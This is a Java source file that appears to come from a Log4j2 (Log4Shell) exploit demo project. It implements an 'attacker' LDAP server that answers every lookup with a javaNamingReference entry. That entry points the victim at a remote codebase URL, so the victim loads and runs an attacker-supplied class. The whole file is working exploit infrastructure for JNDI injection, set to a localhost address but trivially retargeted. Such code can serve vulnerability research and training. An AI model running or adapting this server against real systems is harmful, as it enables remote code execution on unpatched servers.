package com.morningyet.bug.log4j2.attacker.server.ldap;

import com.morningyet.bug.log4j2.attacker.server.SimpleServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

import javax.annotation.PostConstruct;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

/**
 * 简易LDAP服务器
 *
 * @author moringyet
 */
@Component
public class SimpleLDAPServer extends SimpleServer {

    private static final Logger logger = LoggerFactory.getLogger(SimpleLDAPServer.class);

    private static final String LDAP_BASE = "dc=example,dc=com";
    private static final String CLASS_FILE_DOWNLOAD_URL = "http://127.0.0.1:18081/#com.morningyet.bug.log4j2.attacker.hacker.Attacker";

    @Value("${ldap.server.port}")
    private int port;

    @PostConstruct
    public void init() {

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(CLASS_FILE_DOWNLOAD_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            logger.debug("Listening on 0.0.0.0:{}", port);
            ds.startListening();

        } catch (Exception e) {
            logger.error(e.getMessage(), e);
        }

    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private final URL url;

        public OperationInterceptor(URL url) {
            this.url = url;
        }

        /**
         * These attributes are the required attributes articulated in Open-source Oracle's code in /com/sun/jndi/ldap/Obj.java
         * This code is leveraged for LDAP.
         *
         * LDAP attributes used to support Java objects.
         *
         * If we take a look at the
         * http://www.docjar.com/html/api/com/sun/jndi/ldap/Obj.java.html
         *
         * You will see the following attributes:
         *
         * static final String[] JAVA_ATTRIBUTES = {
         *  "objectClass",
         *  "javaSerializedData",
         *  "javaClassName",
         *  "javaFactory",
         *  "javaCodeBase",
         *  "javaReferenceAddress",
         *  "javaClassNames",
         *  "javaRemoteLocation" // Deprecated
         * };
         *
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {

            String baseDN = result.getRequest().getBaseDN();
            Entry entry = new Entry(baseDN);
            try {
                logger.info("redirecting from {} to {}", baseDN, getRealUrl(this.url));

                entry.addAttribute("javaClassName", "Calc");

                String javaCodeBase = this.url.toString();
                int index = javaCodeBase.indexOf('#');
                if (index > 0) {
                    javaCodeBase = javaCodeBase.substring(0, index);
                }

                entry.addAttribute("javaCodeBase", javaCodeBase);
                entry.addAttribute("objectClass", "javaNamingReference");
                entry.addAttribute("javaFactory", this.url.getRef());

                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e) {
                logger.error(e.getMessage(), e);
            }

        }

        private String getRealUrl(URL url) throws MalformedURLException {
           URL realURL = new URL(url, url.getRef().replace('.', '/').concat(".class"));
           return realURL.toString();
        }

    }

}
